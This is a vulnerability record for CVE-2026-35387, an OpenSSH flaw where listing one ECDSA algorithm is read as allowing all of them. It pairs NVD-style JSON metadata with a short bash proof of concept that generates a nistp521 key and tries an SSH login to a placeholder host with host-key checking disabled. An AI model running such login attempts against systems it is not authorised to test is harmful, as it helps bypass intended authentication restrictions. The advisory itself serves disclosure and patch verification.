CVE-2026-35387

#!/bin/bash # PoC for CVE-2026-35387: OpenSSH ECDSA Algorithm Misinterpretation # Description: This script demonstrates how a configuration intended to allow only # nistp256 might inadvertently accept other ECDSA types like nistp521. TARGET_HOST="target_ip" TARGET_USER="test_user" # 1. Generate a non-intended ECDSA key (e.g., nistp521) if not present if [ ! -f "./id_ecdsa_p521" ]; then ssh-keygen -t ecdsa -b 521 -f ./id_ecdsa_p521 -N "" fi # 2. Attempt to connect using the nistp521 key # Expected behavior on patched systems: Connection refused (algorithm not allowed) # Vulnerable behavior: Connection allowed (misinterpretation of config) echo "Attempting connection with ecdsa-sha2-nistp521..." ssh -o PubkeyAuthentication=yes \ -o IdentityFile=./id_ecdsa_p521 \ -o PreferredAuthentications=publickey \ -o StrictHostKeyChecking=no \ ${TARGET_USER}@${TARGET_HOST} "echo 'Access Granted via unintended algorithm'" # Note: Ensure the target sshd_config contains 'PubkeyAcceptedAlgorithms ecdsa-sha2-nistp256'

{"cve": {"id": "CVE-2026-35387", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:27.790", "lastModified": "2026-04-27T14:05:11.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenSSH before 10.3 can use unintended ECDSA algorithms. Listing of any ECDSA algorithm in PubkeyAcceptedAlgorithms or HostbasedAcceptedAlgorithms is misinterpreted to mean all ECDSA algorithms."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-670"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.3", "matchCriteriaId": "F40F50BC-86AA-4D7F-88A5-A244CD7606F3"}]}]}], "references": [{"url": "https://marc.info/?l=openssh-unix-dev&m=177513443901484&w=2", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.openssh.org/releasenotes.html#10.3p1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/02/3", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}